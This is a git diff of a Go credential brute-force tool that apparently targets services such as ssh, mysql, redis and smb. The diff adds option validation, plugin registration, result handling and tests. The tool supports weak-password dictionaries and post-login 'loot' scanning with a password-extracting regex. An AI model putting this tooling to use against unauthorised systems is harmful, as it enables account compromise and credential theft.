opt.Mod { + case ModBomb, ModPitchFork, ModSniper: + default: + return fmt.Errorf("unsupported mod %q, want clusterbomb, pitchfork, or sniper", opt.Mod) + } + if opt.Threads <= 0 { + return errors.New("threads must be greater than zero") + } + if opt.Concurrency < 0 { + return errors.New("concurrency must not be negative") + } + if opt.Timeout <= 0 { + return errors.New("timeout must be greater than zero") + } + if opt.Top < 0 { + return errors.New("top must not be negative") + } + if len(opt.IP) == 0 && opt.IPFile == "" && opt.JsonFile == "" && opt.GogoFile == "" && opt.CIDR == nil { + return errors.New("please input ip or or file or json file or gogo file") + } + if opt.Mod == ModPitchFork && opt.Auth == nil && opt.AuthFile == "" { + return errors.New("pitchfork mode requires auth, please set -a/-A") + } + if opt.WeakPassWord && (opt.Password == nil && opt.PasswordFile == "") { + return errors.New("use weak-password rule must set password, please set -p/-P") + } + if opt.PasswordRule != "" && (opt.Password == nil && opt.PasswordFile == "") { + return errors.New("use custom password rule must set password, please set -p/-P") + } + if opt.UsernameRule != "" && (opt.Username == nil && opt.UsernameFile == "") { + return errors.New("use custom username rule must set username, please set -u/-U") + } + return nil +} + +func (opt *Option) Prepare() (*Runner, error) { + var err error + var targets []*Target + + serviceVars, err := parseKeyValueArgs(opt.ServiceVars) + if err != nil { + return nil, err + } + servicePayloads, err := parsePayloadArgs(opt.ServicePayloads) + if err != nil { + return nil, err + } + + runnerOpt := &RunnerOption{ + Threads: opt.Threads, + Concurrency: opt.Concurrency, + Timeout: opt.Timeout, + Top: opt.Top, + Mod: opt.Mod, + FirstOnly: !opt.ForceContinue, + NoUnAuth: opt.NoUnAuth, + NoCheckHoneyPot: opt.NoCheckHoneyPot, + Strict: opt.Strict, + Raw: opt.Raw, + Proton: opt.Proton, + ScanTemplates: opt.ScanTemplates, + ServiceTemplates: opt.ServiceTemplates, + ServiceVars: serviceVars, + ServicePayloads: servicePayloads, + Gather: opt.Gather, + Risk: opt.Risk, + Tags: opt.Tags, + } + + runner := NewRunner(runnerOpt) + if err := runner.BuildPipeline(); err != nil { + return nil, err + } + + if opt.Bar { + pkg.InitBar() + } + + logs.Log.Importantf("mod: %s, check-unauth: %t, check-honeypot: %t", runner.Mod, !runner.NoUnAuth, !runner.NoCheckHoneyPot) + + if opt.ServiceName != "" { + for _, name := range strings.Split(opt.ServiceName, ",") { + name = strings.TrimSpace(name) + if name == "" { + continue + } + s, ok := pkg.Services.Get(name) + if !ok { + return nil, fmt.Errorf("unknown service %q, supported: %s", name, pkg.SupportedServiceNames()) + } + runner.Services = append(runner.Services, s.Name) + } + } + + if opt.JsonFile != "" { + // load json file + content, err := ioutil.ReadFile(opt.JsonFile) + if err != nil { + return nil, err + } + err = json.Unmarshal(content, &targets) + if err != nil { + return nil, err + } + logs.Log.Importantf("load %d targets from json: %s ", len(targets), opt.JsonFile) + } else if opt.GogoFile != "" { + targets, err = LoadGogoFile(opt.GogoFile) + if err != nil { + return nil, err + } + logs.Log.Importantf("load %d targets from gogo: %s ", len(targets), opt.GogoFile) + } else { + var ipg *Generator + + if opt.IP != nil { + ipg = NewGeneratorWithInput(opt.IP) + } else if opt.IPFile != "" { + ipg, err = NewGeneratorWithFile(opt.IPFile) + if err != nil { + return nil, err + } + } else if opt.CIDR != nil { + ipg = NewGeneratorWithChan(transformChan(utils.ParseCIDRs(opt.CIDR).Range())) + } + + if ipg == nil { + return nil, fmt.Errorf("not any ip input") + } + + ipg.Run() + + // 处理输入参数 + for input := range ipg.C { + t, ok := ParseUrl(input) + if !ok { + t = SimpleParseUrl(input) + } + + targets = append(targets, t) + } + if opt.IPFile != "" { + logs.Log.Importantf("load %d targets from file: %s", len(targets), opt.IPFile) + } + } + + filterServices := map[string]struct{}{} + if opt.FilterService != "" { + for _, name := range strings.Split(opt.FilterService, ",") { + name = strings.TrimSpace(name) + if name == "" { + continue + } + if s, ok := pkg.Services.Get(name); ok { + filterServices[s.Name] = struct{}{} + } else { + filterServices[strings.ToLower(name)] = struct{}{} + } + } + } + + for _, t := range targets { + // 如果指定了service, 将会覆盖json或gogo中的字段 + if opt.ServiceName != "" { + t.UpdateService(opt.ServiceName) + } else if t.Service != "" { + t.UpdateService(t.Service) + } + + if t.Service == "" { + logs.Log.Warn(t.String() + " null service") + continue + } + + if len(filterServices) > 0 { + if _, ok := filterServices[t.Service]; !ok { + continue + } + } + + // 命令行中指定的 param 会覆盖原有的配置 + if len(opt.Param) > 0 { + t.Param = opt.Param + } + runner.Targets = append(runner.Targets, t) + } + + var dicts [][]string + if opt.Dictionaries != nil { + var s strings.Builder + dicts = make([][]string, len(opt.Dictionaries)) + for i, f := range opt.Dictionaries { + dicts[i], err = fileutils.LoadFileToSlice(f) + if err != nil { + return nil, err + } + s.WriteString(fmt.Sprintf("%s: %ditems", f, len(dicts[i]))) + } + + logs.Log.Importantf("load dictionaries: %s", s.String()) + } + + var users, pwds *Generator + // load username + if opt.Username != nil { + if len(opt.Username) == 1 && dicts != nil { + users, err = NewGeneratorWithWord(opt.Username[0], dicts, nil) + if err != nil { + return nil, err + } + logs.Log.Importantf("parse username from %s", opt.Username[0]) + } else { + users = NewGeneratorWithInput(opt.Username) + } + } else if opt.UsernameFile != "" { + users, err = NewGeneratorWithFile(opt.UsernameFile) + if err != nil { + return nil, err + } + logs.Log.Importantf("load username from %s", opt.UsernameFile) + } + if opt.UsernameRule != "" { + err := users.SetRuleFile(opt.UsernameRule) + if err != nil { + return nil, err + } + } + runner.Users = users + + // load password + if opt.Password != nil { + if len(opt.Password) == 1 && dicts != nil { + pwds, err = NewGeneratorWithWord(opt.Password[0], dicts, nil) + if err != nil { + return nil, err + } + logs.Log.Importantf("parse password from %s ", opt.Password[0]) + } else { + pwds = NewGeneratorWithInput(opt.Password) + } + } else if opt.PasswordFile != "" { + pwds, err = NewGeneratorWithFile(opt.PasswordFile) + if err != nil { + return nil, err + } + logs.Log.Importantf("load password from %s", opt.PasswordFile) + } + if opt.PasswordRule != "" { + err := pwds.SetRuleFile(opt.PasswordRule) + if err != nil { + return nil, err + } + } else if opt.WeakPassWord { + err := pwds.SetInternalRule("weakpass") + if err != nil { + return nil, err + } + } + runner.Pwds = pwds + + // load auth pair + var auths *Generator + if opt.Auth != nil { + auths = NewGeneratorWithInput(opt.Auth) + } else if opt.AuthFile != "" { + auths, err = NewGeneratorWithFile(opt.AuthFile) + if err != nil { + return nil, err + } + logs.Log.Importantf("load auth from %s", opt.AuthFile) + } + if auths != nil { + runner.Auths = auths + runner.Mod = ModPitchFork + } + + runner.bar = pkg.NewBar("targets", len(targets), runner.stat) + + return runner, nil +} diff --git a/core/options_test.go b/core/options_test.go index f4aca61..692766d 100644 --- a/core/options_test.go +++ b/core/options_test.go @@ -3,6 +3,7 @@ package core import ( "os" "path/filepath" + "strings" "testing" "github.com/chainreactors/words" @@ -33,6 +34,8 @@ func TestOptionValidateRejectsUnsupportedMod(t *testing.T) { opt.IP = []string{"127.0.0.1"} opt.ServiceName = "redis" opt.Mod = "not-a-mode" + opt.Threads = 1 + opt.Timeout = 1 if err := opt.Validate(); err == nil { t.Fatal("expected unsupported mode to be rejected") @@ -44,6 +47,8 @@ func TestOptionValidateRequiresPitchforkAuth(t *testing.T) { opt.IP = []string{"127.0.0.1"} opt.ServiceName = "redis" opt.Mod = ModPitchFork + opt.Threads = 1 + opt.Timeout = 1 if err := opt.Validate(); err == nil { t.Fatal("expected pitchfork without auth to be rejected") @@ -55,35 +60,120 @@ func TestOptionValidateRequiresPitchforkAuth(t *testing.T) { } } -func TestOptionPrepareOutputFileWriter(t *testing.T) { +func TestOptionValidateRejectsInvalidRuntimeLimits(t *testing.T) { + tests := []struct { + name string + edit func(*Option) + }{ + {name: "zero threads", edit: func(opt *Option) { opt.Threads = 0 }}, + {name: "negative concurrency", edit: func(opt *Option) { opt.Concurrency = -1 }}, + {name: "zero timeout", edit: func(opt *Option) { opt.Timeout = 0 }}, + {name: "negative top", edit: func(opt *Option) { opt.Top = -1 }}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + opt := &Option{} + opt.IP = []string{"127.0.0.1"} + opt.ServiceName = "redis" + opt.Mod = ModSniper + opt.Threads = 1 + opt.Timeout = 1 + tt.edit(opt) + + if err := opt.Validate(); err == nil { + t.Fatal("expected invalid runtime limit to be rejected") + } + }) + } +} + +func TestOptionPrepareRejectsUnknownService(t *testing.T) { + for _, service := range []string{"memcache", "postgres", "8080"} { + opt := &Option{} + opt.IP = []string{"127.0.0.1"} + opt.ServiceName = service + opt.Mod = ModSniper + + _, err := opt.Prepare() + if err == nil { + t.Fatalf("expected %q to be rejected", service) + } + if !strings.Contains(err.Error(), `unknown service`) { + t.Fatalf("unexpected error for %q: %v", service, err) + } + } +} + +func TestOptionPrepareCanonicalizesServiceAliases(t *testing.T) { + tests := []struct { + name string + want string + port string + }{ + {name: "postgre", want: "postgresql", port: "5432"}, + {name: "mongodb", want: "mongo", port: "27017"}, + {name: "pop", want: "pop3", port: "110"}, + } + + for _, tt := range tests { + opt := &Option{} + opt.IP = []string{"127.0.0.1"} + opt.ServiceName = tt.name + opt.Mod = ModSniper + + runner, err := opt.Prepare() + if err != nil { + t.Fatalf("Prepare(%q): %v", tt.name, err) + } + if len(runner.Targets) != 1 { + t.Fatalf("Prepare(%q) targets = %d, want 1", tt.name, len(runner.Targets)) + } + target := runner.Targets[0] + if target.Service != tt.want || target.Port != tt.port { + t.Fatalf("Prepare(%q) target = %s:%s, want %s:%s", + tt.name, target.Service, target.Port, tt.want, tt.port) + } + } +} + +func TestOptionPrepareDoesNotOwnOutputFiles(t *testing.T) { output := filepath.Join(t.TempDir(), "results.txt") opt := &Option{} opt.IP = []string{"127.0.0.1"} opt.ServiceName = "redis" - opt.OutputFile = output opt.Mod = ModSniper + opt.OutputFile = output - runner, err := opt.Prepare() + _, err := opt.Prepare() if err != nil { t.Fatal(err) } - if runner.File == nil { - t.Fatal("expected output file writer") - } - if runner.OutFunc == nil { - t.Fatal("expected output function") + if _, err := os.Stat(output); !os.IsNotExist(err) { + t.Fatalf("Prepare created output file: %v", err) } +} - runner.OutFunc("ok\n") - if err := runner.File.Close(); err != nil { +func TestOptionPrepareCanonicalizesFilterServiceAliases(t *testing.T) { + targets := `[{"ip":"127.0.0.1","port":"5432","service":"postgresql"}]` + jsonFile := filepath.Join(t.TempDir(), "targets.json") + if err := os.WriteFile(jsonFile, []byte(targets), 0600); err != nil { t.Fatal(err) } - got, err := os.ReadFile(output) + opt := &Option{} + opt.JsonFile = jsonFile + opt.FilterService = "postgre" + opt.Mod = ModSniper + + runner, err := opt.Prepare() if err != nil { t.Fatal(err) } - if string(got) != "ok\n" { - t.Fatalf("unexpected output file content: %q", string(got)) + if len(runner.Targets) != 1 { + t.Fatalf("targets = %d, want 1", len(runner.Targets)) + } + if runner.Targets[0].Service != "postgresql" { + t.Fatalf("service = %q, want postgresql", runner.Targets[0].Service) } } diff --git a/core/panic_test.go b/core/panic_test.go new file mode 100644 index 0000000..239212d --- /dev/null +++ b/core/panic_test.go @@ -0,0 +1,239 @@ +package core + +import ( + "fmt" + "os" + "path/filepath" + "testing" + + "github.com/chainreactors/utils/parsers" + "github.com/chainreactors/zombie/action" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin" +) + +// nilSessionPlugin returns (nil, nil) from Open — should not panic Execute +type nilSessionPlugin struct{} + +func (p *nilSessionPlugin) Open(task *pkg.Task) (pkg.Session, error) { return nil, nil } +func (p *nilSessionPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { return nil, nil } + +// panicPlugin panics inside Open — should be catchable +type panicPlugin struct{} + +func (p *panicPlugin) Open(task *pkg.Task) (pkg.Session, error) { panic("test panic") } +func (p *panicPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { panic("test panic") } + +func baseTask(svc string) *pkg.Task { + return &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", Port: "9999", + Service: svc, Username: "u", Password: "p", + }, + Timeout: 1, + } +} + +// --- Nil session from plugin --- + +func TestPanic_NilSession_Execute(t *testing.T) { + plugins := map[string]plugin.Plugin{"nil-session": &nilSessionPlugin{}} + task := baseTask("nil-session") + + result := Execute(task, plugins, nil, nil, nil) + if result.OK { + t.Error("should not be OK") + } + if result.Err == nil { + t.Error("should have error for nil session") + } + t.Logf("nil session: %v", result.Err) +} + +func TestPanic_NilSession_ExecuteUnauth(t *testing.T) { + plugins := map[string]plugin.Plugin{"nil-session": &nilSessionPlugin{}} + task := baseTask("nil-session") + + result := ExecuteUnauth(task, plugins, nil, nil, nil) + if result.OK { + t.Error("should not be OK") + } + if result.Err == nil { + t.Error("should have error for nil session") + } + t.Logf("nil session unauth: %v", result.Err) +} + +// --- Missing plugin --- + +func TestPanic_NoPlugin(t *testing.T) { + plugins := map[string]plugin.Plugin{} + task := baseTask("nonexistent") + + result := Execute(task, plugins, nil, nil, nil) + if result.OK { + t.Error("should not be OK") + } + if result.Err == nil { + t.Error("should have error") + } + t.Logf("no plugin: %v", result.Err) +} + +// --- Nil task fields --- + +func TestPanic_NilParam_PluginOpen(t *testing.T) { + runner := NewRunner(NewDefaultRunnerOption()) + + services := []string{"ssh", "mysql", "redis", "ftp", "postgresql", "mssql", "oracle", "smb", "ldap"} + for _, svc := range services { + t.Run(svc, func(t *testing.T) { + p, ok := runner.Plugins[svc] + if !ok { + t.Skipf("no plugin for %s", svc) + } + task := &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", Port: "1", + Service: svc, Username: "u", Password: "p", + Param: nil, // explicitly nil + }, + Timeout: 1, + } + defer func() { + if r := recover(); r != nil { + t.Errorf("PANIC with nil Param on %s: %v", svc, r) + } + }() + p.Open(task) + }) + } +} + +// --- HTTP plugins with nil Param --- + +func TestPanic_NilParam_HTTPPlugins(t *testing.T) { + runner := NewRunner(NewDefaultRunnerOption()) + + httpServices := []string{"http", "https", "http_proxy", "digest", "get", "post"} + for _, svc := range httpServices { + t.Run(svc, func(t *testing.T) { + p, ok := runner.Plugins[svc] + if !ok { + t.Skipf("no plugin for %s", svc) + } + task := &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", Port: "1", + Service: svc, Username: "u", Password: "p", + Param: nil, + }, + Timeout: 1, + } + defer func() { + if r := recover(); r != nil { + t.Errorf("PANIC with nil Param on %s: %v", svc, r) + } + }() + p.Open(task) + }) + } +} + +// --- Nil Extracteds in Merge --- + +func TestPanic_MergeNilActionResult(t *testing.T) { + result := pkg.NewResult(baseTask("ssh"), nil) + defer func() { + if r := recover(); r != nil { + t.Errorf("PANIC on Merge(nil): %v", r) + } + }() + result.Merge(nil) + result.Merge(&pkg.ActionResult{}) + result.Merge(&pkg.ActionResult{ + Loot: map[string][]byte{"test": []byte("data")}, + }) + if len(result.Loot) != 1 { + t.Error("should have 1 loot entry") + } +} + +// --- PostAction with valid scanner on empty data --- + +func TestPanic_PostAction_EmptyData(t *testing.T) { + dir := createPanicTestTemplate(t) + a, err := action.NewPostAction([]string{dir}) + if err != nil { + t.Fatalf("NewPostAction: %v", err) + } + + defer func() { + if r := recover(); r != nil { + t.Errorf("PANIC on empty data: %v", r) + } + }() + + results := a.ScanData([]byte{}, "test:empty") + t.Logf("empty data: extracteds=%d", len(results)) +} + +// --- CLI result formatting with nil Err --- + +func TestPanic_CLIResultFormatting_NilErr(t *testing.T) { + // Simulate what the CLI handler does with a failed result that has nil Err. + result := pkg.NewResult(baseTask("ssh"), fmt.Errorf("login failed")) + result.Err = nil // this would panic on .Error() without our fix + + defer func() { + if r := recover(); r != nil { + t.Errorf("PANIC on nil Err formatting: %v", r) + } + }() + + errMsg := "unknown error" + if result.Err != nil { + errMsg = result.Err.Error() + } + _ = fmt.Sprintf("[%s] %s login failed, %s", result.Service, result.URI(), errMsg) +} + +// --- Mock helpers --- + +type mockShell struct { + files map[string][]byte +} + +func (m *mockShell) Service() string { return "ssh" } +func (m *mockShell) Close() error { return nil } +func (m *mockShell) Exec(cmd string) ([]byte, error) { + for path, data := range m.files { + if len(cmd) > 0 && len(path) > 0 { + for i := 0; i <= len(cmd)-len(path); i++ { + if cmd[i:i+len(path)] == path { + return data, nil + } + } + } + } + return nil, fmt.Errorf("not found") +} + +func createPanicTestTemplate(t *testing.T) string { + t.Helper() + dir := t.TempDir() + os.WriteFile(filepath.Join(dir, "test.yaml"), []byte(`id: panic-test +info: + name: Panic Test + severity: info +file: + - extensions: + - all + extractors: + - type: regex + regex: + - "password\\s*=\\s*(\\S+)" + group: 1 +`), 0644) + return dir +} diff --git a/core/plugins.go b/core/plugins.go new file mode 100644 index 0000000..bf0cab3 --- /dev/null +++ b/core/plugins.go @@ -0,0 +1,18 @@ +package core + +import ( + internalplugins "github.com/chainreactors/zombie/internal/plugins" + "github.com/chainreactors/zombie/plugin" +) + +func defaultPlugins() map[string]plugin.Plugin { + return internalplugins.Default() +} + +func defaultFallbackPlugin() plugin.Plugin { + return internalplugins.Fallback() +} + +func registerBuiltinServices() { + internalplugins.RegisterServices() +} diff --git a/core/run_with_args.go b/core/run_with_args.go index 1776c40..8a3eea3 100644 --- a/core/run_with_args.go +++ b/core/run_with_args.go @@ -9,6 +9,7 @@ import ( "strings" "github.com/chainreactors/logs" + "github.com/chainreactors/utils/fileutils" "github.com/chainreactors/zombie/pkg" "github.com/jessevdk/go-flags" ) @@ -18,6 +19,7 @@ type RunOptions struct { Output io.Writer Version string ProxyDial pkg.DialFunc + OnResult ResultHandler } func Help() string { @@ -69,10 +71,11 @@ func RunWithArgs(ctx context.Context, args []string, opts RunOptions) error { if err := pkg.Load(); err != nil { return err } + registerBuiltinServices() if opt.ListService { fmt.Fprintln(output, "support service list:\n service\t\tsource\taliases\n\t---------------\t\t------") - for k, s := range pkg.Services.Plugins { + for k, s := range pkg.Services.All() { fmt.Fprintf(output, " %15s\t\t%s\t%v\n", k, s.Source, strings.Join(s.Alias, ",")) } return nil @@ -98,12 +101,44 @@ func RunWithArgs(ctx context.Context, args []string, opts RunOptions) error { if err != nil { return err } + + var outputFile *fileutils.File + if opt.OutputFile != "" { + outputFile, err = fileutils.NewFile(opt.OutputFile, fileutils.ModeAppend, false, false) + if err != nil { + return err + } + defer outputFile.Close() + } + runner.OnResult = cliResultHandler(opt.OutputFormat, opt.FileFormat, outputFile, opts.OnResult) if opts.ProxyDial != nil { runner.ProxyDial = opts.ProxyDial } return runner.RunWithContext(ctx) } +func cliResultHandler(outputFormat, fileFormat string, outputFile *fileutils.File, next ResultHandler) ResultHandler { + return func(result *pkg.Result) { + if result.OK { + if outputFile != nil { + if err := outputFile.SyncWrite(result.Format(fileFormat)); err != nil { + logs.Log.Warnf("write output file failed: %v", err) + } + } + logs.Log.Console(result.Format(outputFormat)) + } else { + errMsg := "unknown error" + if result.Err != nil { + errMsg = result.Err.Error() + } + logs.Log.Debugf("[%s] %s %s %s ,%s login failed, %s", result.Mod.String(), result.URI(), result.Username, result.Password, result.Service, errMsg) + } + if next != nil { + next(result) + } + } +} + func Usage() string { return ` diff --git a/core/run_with_args_test.go b/core/run_with_args_test.go index 319d989..66450c2 100644 --- a/core/run_with_args_test.go +++ b/core/run_with_args_test.go @@ -3,8 +3,17 @@ package core import ( "bytes" "context" + "errors" + "os" + "path/filepath" "strings" "testing" + "time" + + "github.com/chainreactors/logs" + "github.com/chainreactors/utils/fileutils" + "github.com/chainreactors/utils/parsers" + "github.com/chainreactors/zombie/pkg" ) func TestRunWithArgsListsServices(t *testing.T) { @@ -18,6 +27,42 @@ func TestRunWithArgsListsServices(t *testing.T) { } } +func TestCLIResultHandlerOwnsFormattingAndForwardsEveryResult(t *testing.T) { + outputPath := filepath.Join(t.TempDir(), "results.jsonl") + outputFile, err := fileutils.NewFile(outputPath, fileutils.ModeAppend, false, false) + if err != nil { + t.Fatal(err) + } + + oldLog := logs.Log + logs.Log = logs.NewLogger(oldLog.Level) + logs.Log.SetOutput(&bytes.Buffer{}) + defer func() { logs.Log = oldLog }() + + var forwarded []*pkg.Result + handler := cliResultHandler(parsers.ZombieFormatString, parsers.ZombieFormatJSONLine, outputFile, func(result *pkg.Result) { + forwarded = append(forwarded, result) + }) + success := pkg.NewResult(&pkg.Task{ZombieResult: &parsers.ZombieResult{IP: "127.0.0.1", Port: "6379", Service: "redis"}}, nil) + failure := pkg.NewResult(&pkg.Task{ZombieResult: &parsers.ZombieResult{IP: "127.0.0.1", Port: "1", Service: "redis"}}, errors.New("connection refused")) + handler(success) + handler(failure) + if err := outputFile.Close(); err != nil { + t.Fatal(err) + } + + content, err := os.ReadFile(outputPath) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(content), `"ok":true`) || strings.Contains(string(content), "connection refused") { + t.Fatalf("unexpected success-only file output: %s", content) + } + if len(forwarded) != 2 || forwarded[0] != success || forwarded[1] != failure { + t.Fatalf("forwarded results = %#v", forwarded) + } +} + func TestRunWithArgsRejectsUnsupportedMod(t *testing.T) { var out bytes.Buffer @@ -29,3 +74,30 @@ func TestRunWithArgsRejectsUnsupportedMod(t *testing.T) { t.Fatalf("unexpected error: %v", err) } } + +func TestRunWithArgsWithoutOutputFileDoesNotDeadlock(t *testing.T) { + done := make(chan error, 1) + go func() { + var out bytes.Buffer + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + done <- RunWithArgs(ctx, []string{ + "-i", "127.0.0.1:1", + "-s", "redis", + "-m", ModSniper, + "-u", "default", + "-p", "test", + "--timeout", "1", + "-q", + }, RunOptions{Output: &out}) + }() + + select { + case err := <-done: + if err != nil { + t.Fatal(err) + } + case <-time.After(4 * time.Second): + t.Fatal("RunWithArgs deadlocked without -f") + } +} diff --git a/core/runner.go b/core/runner.go index bc72922..f2d02bf 100644 --- a/core/runner.go +++ b/core/runner.go @@ -4,15 +4,17 @@ import ( "context" "fmt" "runtime/debug" + "strings" "sync" - "time" "github.com/chainreactors/logs" - "github.com/chainreactors/parsers" "github.com/chainreactors/utils" - "github.com/chainreactors/utils/fileutils" "github.com/chainreactors/utils/iutils" + "github.com/chainreactors/utils/parsers" + "github.com/chainreactors/zombie/action" "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin" + "github.com/chainreactors/zombie/service" "github.com/panjf2000/ants/v2" ) @@ -59,43 +61,147 @@ func (h *hostLimiter) acquire(ctx context.Context, key string) (func(), bool) { type Runner struct { *RunnerOption - bar *pkg.Bar - stat *pkg.Statistor - wg *sync.WaitGroup - outlock *sync.WaitGroup - addlock *sync.Mutex - - Users *Generator - Pwds *Generator - Auths *Generator - Addrs utils.Addrs - Targets []*Target - Services []string - OutputCh chan *pkg.Result - File *fileutils.File - OutFunc func(string) - FileFormat string - OutputFormat string - Pool *ants.PoolWithFunc - hostSem *hostLimiter + bar *pkg.Bar + stat *pkg.Statistor + wg *sync.WaitGroup + + Plugins map[string]plugin.Plugin + FallbackPlugin plugin.Plugin + Pipeline []pkg.Action + PostAction *action.PostAction + + Users *Generator + Pwds *Generator + Auths *Generator + Addrs utils.Addrs + Targets []*Target + Services []string + OnResult ResultHandler + Pool *ants.PoolWithFunc + hostSem *hostLimiter } +// ResultHandler receives each executed attempt synchronously in its worker. +// Different workers may call the handler concurrently. +type ResultHandler func(*pkg.Result) + func NewRunner(opt *RunnerOption) *Runner { if opt == nil { opt = NewDefaultRunnerOption() } return &Runner{ - RunnerOption: opt, - OutputCh: make(chan *pkg.Result), - wg: &sync.WaitGroup{}, - outlock: &sync.WaitGroup{}, - addlock: &sync.Mutex{}, + RunnerOption: opt, + Plugins: defaultPlugins(), + FallbackPlugin: defaultFallbackPlugin(), + wg: &sync.WaitGroup{}, stat: &pkg.Statistor{ Tasks: make(map[string]int), }, } } +// RegisterService adds a plugin to this Runner only. +func (r *Runner) RegisterService(service plugin.Service, p plugin.Plugin) error { + service.Name = strings.ToLower(strings.TrimSpace(service.Name)) + if service.Name == "" { + return fmt.Errorf("plugin service name is required") + } + if p == nil { + return fmt.Errorf("plugin for service %q is nil", service.Name) + } + if _, exists := r.Plugins[service.Name]; exists { + return fmt.Errorf("plugin service %q is already registered", service.Name) + } + if service.Source == "" { + service.Source = pkg.PluginSource + } + + aliases := make([]string, 0, len(service.Alias)) + seen := map[string]struct{}{service.Name: {}} + for _, alias := range service.Alias { + alias = strings.ToLower(strings.TrimSpace(alias)) + if alias == "" { + continue + } + if _, duplicate := seen[alias]; duplicate { + continue + } + if _, exists := r.Plugins[alias]; exists { + return fmt.Errorf("plugin service alias %q is already registered", alias) + } + seen[alias] = struct{}{} + aliases = append(aliases, alias) + } + service.Alias = aliases + r.Plugins[service.Name] = p + for _, alias := range aliases { + r.Plugins[alias] = p + } + pkg.Services.Register(&service) + return nil +} + +func (r *Runner) BuildPipeline() error { + if r.Proton { + if len(r.ScanTemplates) == 0 { + return fmt.Errorf("--proton requires --scan-template to specify proton template path") + } + pa, err := action.NewPostAction(r.ScanTemplates) + if err != nil { + return fmt.Errorf("failed to init post action: %w", err) + } + r.PostAction = pa + } + + var serviceTemplates []*service.Template + if r.Gather { + embedded, err := action.LoadServiceTemplatesFromData(pkg.ServiceTemplateData) + if err != nil { + return fmt.Errorf("failed to load embedded service templates: %w", err) + } + serviceTemplates = append(serviceTemplates, embedded...) + } + if len(r.ServiceTemplates) > 0 { + fromPaths, err := action.LoadServiceTemplatesFromPaths(r.ServiceTemplates) + if err != nil { + return fmt.Errorf("failed to load service templates: %w", err) + } + serviceTemplates = append(serviceTemplates, fromPaths...) + } + if len(serviceTemplates) > 0 { + serviceAction, err := action.NewServiceAction(serviceTemplates, r.ServiceVars, r.ServicePayloads) + if err != nil { + return fmt.Errorf("failed to init service action: %w", err) + } + if r.Risk != "" { + serviceAction.SetRisk(r.Risk) + } + if r.Gather && len(r.Tags) == 0 { + serviceAction.SetTags([]string{"gather"}) + } else if len(r.Tags) > 0 { + serviceAction.SetTags(r.Tags) + } + r.Pipeline = append(r.Pipeline, serviceAction) + } + + if r.Gather { + r.Pipeline = append(r.Pipeline, action.NewAuditAction()) + } + + if r.Gather && r.PostAction == nil { + if data := pkg.LootTemplateData; len(data) > 0 { + pa, err := action.NewPostActionFromData(data) + if err != nil { + logs.Log.Debugf("loot scanner disabled: %v", err) + } else { + r.PostAction = pa + } + } + } + + return nil +} + func (r *Runner) SetTargets(targets []*Target) { r.Targets = targets } @@ -127,9 +233,6 @@ func (r *Runner) RunWithContext(ctx context.Context) error { if ctx == nil { ctx = context.Background() } - - pkg.RunOpt.Raw = r.Raw - if r.Mod == "" { r.Mod = ModBomb } @@ -141,18 +244,26 @@ func (r *Runner) RunWithContext(ctx context.Context) error { if r.Mod == ModPitchFork && r.Auths == nil { return fmt.Errorf("pitchfork mode requires auth, please set -a/-A") } - - if r.OutFunc != nil { - go r.OutputHandler() + if r.Threads <= 0 { + return fmt.Errorf("threads must be greater than zero") + } + if r.Timeout <= 0 { + return fmt.Errorf("timeout must be greater than zero") + } + if r.Concurrency < 0 { + return fmt.Errorf("concurrency must not be negative") + } + if r.Top < 0 { + return fmt.Errorf("top must not be negative") } r.hostSem = newHostLimiter(r.Concurrency) - r.Pool, _ = ants.NewPoolWithFunc(r.Threads, func(i interface{}) { + pool, err := ants.NewPoolWithFunc(r.Threads, func(i interface{}) { task := i.(*pkg.Task) defer func() { r.wg.Done() - if task.Locker != nil { - task.Locker.Unlock() + if task.Completed != nil { + close(task.Completed) } }() // 该目标已命中/被取消,无需再发起连接,直接跳过。避免 first-success 之后 @@ -171,56 +282,31 @@ func (r *Runner) RunWithContext(ctx context.Context) error { return // 等额度期间目标已命中/取消,不再建连 } defer releaseHost() - ctx, tcancel := context.WithCancel(task.Context) - go func() { - defer func() { - if r := recover(); r != nil { - logs.Log.Debugf("%s panic: %v", task.String(), r) - tcancel() - } - }() - var res *pkg.Result - if task.Mod == parsers.ZombieModUnauth { - res = Unauth(task) - } else if task.Mod == parsers.ZombieModCheck { - res = Brute(task) - } else { - res = Brute(task) - } - - select { - case <-ctx.Done(): - return - case <-task.Context.Done(): - return - default: - r.Output(res) - } + taskCtx, cancel := context.WithTimeout(task.Context, task.Duration()) + defer cancel() + task.Context = taskCtx - if res.OK && r.FirstOnly && task.Mod != parsers.ZombieModSniper { - tcancel() - task.Canceler() - } - tcancel() - }() + var res *pkg.Result + if task.Mod == parsers.ZombieModUnauth { + res = ExecuteUnauth(task, r.Plugins, r.FallbackPlugin, r.Pipeline, r.PostAction) + } else { + res = Execute(task, r.Plugins, r.FallbackPlugin, r.Pipeline, r.PostAction) + } + r.Output(res) - select { - case <-ctx.Done(): - case <-task.Context.Done(): - logs.Log.Debugf("all task %s cancel", task.URI()) - case <-time.After(time.Duration(task.Timeout*2) * time.Second): - tcancel() - r.Output(&pkg.Result{ - Task: task, - Err: fmt.Errorf("goroutine timeout, force cancel"), - }) + if res.OK && r.FirstOnly && task.Mod != parsers.ZombieModSniper { + task.Cancel() } }, ants.WithPanicHandler(func(err interface{}) { debug.PrintStack() - r.wg.Done() })) + if err != nil { + return fmt.Errorf("create worker pool: %w", err) + } + r.Pool = pool + defer pool.Release() - ch := r.targetGenerate() + ch := r.targetGenerate(ctx) switch r.Mod { case ModSniper: r.RunWithSniper(ctx, ch) @@ -231,14 +317,17 @@ func (r *Runner) RunWithContext(ctx context.Context) error { default: return nil } - if r.OutFunc != nil { - r.outlock.Wait() + select { + case <-ctx.Done(): + if !r.Quiet { + logs.Log.Warnf("interrupted, printing partial results") + } + default: } - close(r.OutputCh) if !r.Quiet { logs.Log.Importantf("%s", r.stat.TaskString()) - logs.Log.Importantf("total: %d, success: %d", r.stat.Total, r.stat.Success) + logs.Log.Importantf("%s", r.stat.SummaryString()) } select { @@ 